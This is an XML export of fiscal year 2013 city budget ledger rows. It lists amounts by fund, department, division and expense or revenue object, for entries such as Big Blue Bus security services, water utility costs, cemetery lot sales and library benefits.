<row _id="1173"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>555020.0</object><object_description>OUTSIDE SERVICE-SECURITY</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>453000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>453000.0</total></row>
<row _id="1174"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511012.0</object><object_description>EST PAY RAISE-GEN GOV</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1166341.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1091018</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>75323.0</total></row>
<row _id="1175"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>749646.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>749646.0</total></row>
<row _id="1176"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="1177"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588200.0</object><object_description>BLDG RENOVATION / MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="1178"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="1179"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533210.0</object><object_description>BLDG OPER / CUSTODIAL SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>32000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>32000.0</total></row>
<row _id="1180"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5335.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>53</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5388.0</total></row>
<row _id="1181"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1588.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1588.0</total></row>
<row _id="1182"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544050.0</object><object_description>CEMENT / SAND / GRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="1183"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3700.0</total></row>
<row _id="1184"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>48646.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>48646.0</total></row>
<row _id="1185"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>127378.22</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>127378.22</total></row>
<row _id="1186"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>577050.0</object><object_description>PROPERTY TAXES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>126000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>126000.0</total></row>
<row _id="1187"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566220.0</object><object_description>CONVENTION / VISITORS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2483299.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2483299.0</total></row>
<row _id="1188"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>544240.0</object><object_description>PROP C REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-30000.0</total></row>
<row _id="1189"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>544240.0</object><object_description>PROP C REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="1190"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>855603.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>855603.0</total></row>
<row _id="1191"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570250.0</object><object_description>GEN FD REIMBURSEMENT FROM PIER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>186529.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>186529.0</total></row>
<row _id="1192"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10600.0</total></row>
<row _id="1193"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402490.0</object><object_description>WATER CAPITAL FACILITIES FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-336000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-336000.0</total></row>
<row _id="1194"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4000.0</total></row>
<row _id="1195"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405930.0</object><object_description>TRANSFER STATION - CITY DEPTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-360000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-360000.0</total></row>
<row _id="1196"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402200.0</object><object_description>CEMETERY LOT SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-481950.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-481950.0</total></row>
<row _id="1197"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="1198"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>47506.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>47506.0</total></row>
<row _id="1199"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>23078.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23078.0</total></row>
<row _id="1200"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>782.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>782.0</total></row>
<row _id="1201"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6168.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6168.0</total></row>
<row _id="1202"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561101.0</object><object_description>CLARE FOUND-GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>114064.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>114064.0</total></row>
<row _id="1203"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561139.0</object><object_description>OPCC INTERIM HOUSING &amp; WELLNES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>846052.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>846052.0</total></row>
<row _id="1204"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>565232.0</object><object_description>DOMESTIC VIOLENCE PROGRAM</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>78856.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>78856.0</total></row>
<row _id="1205"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18348.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18348.0</total></row>
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<row _id="1228"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3571.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>36</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3607.0</total></row>
<row _id="1229"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5228.0</july><august>0</august><september>0.0</september><october>1200.0</october><november>0</november><december>0</december><january>0.0</january><february>528</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6956.0</total></row>
<row _id="1230"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5617.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>56</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5673.0</total></row>
<row _id="1231"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>612.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>612.0</total></row>
<row _id="1232"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2899.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>29</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2928.0</total></row>
<row _id="1233"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3624.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-115</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3509.0</total></row>
<row _id="1234"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>11453.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>115</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11568.0</total></row>
<row _id="1235"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9965.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9965.0</total></row>
<row _id="1236"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>216.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="1237"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1470.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1470.0</total></row>
<row _id="1238"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3645.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3645.0</total></row>
<row _id="1239"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>168410.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-13694</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>154716.0</total></row>
<row _id="1240"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>19100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19100.0</total></row>
<row _id="1241"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>694731.0</july><august>0</august><september>0.0</september><october>2639.0</october><november>0</november><december>0</december><january>0.0</january><february>6974</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>704344.0</total></row>
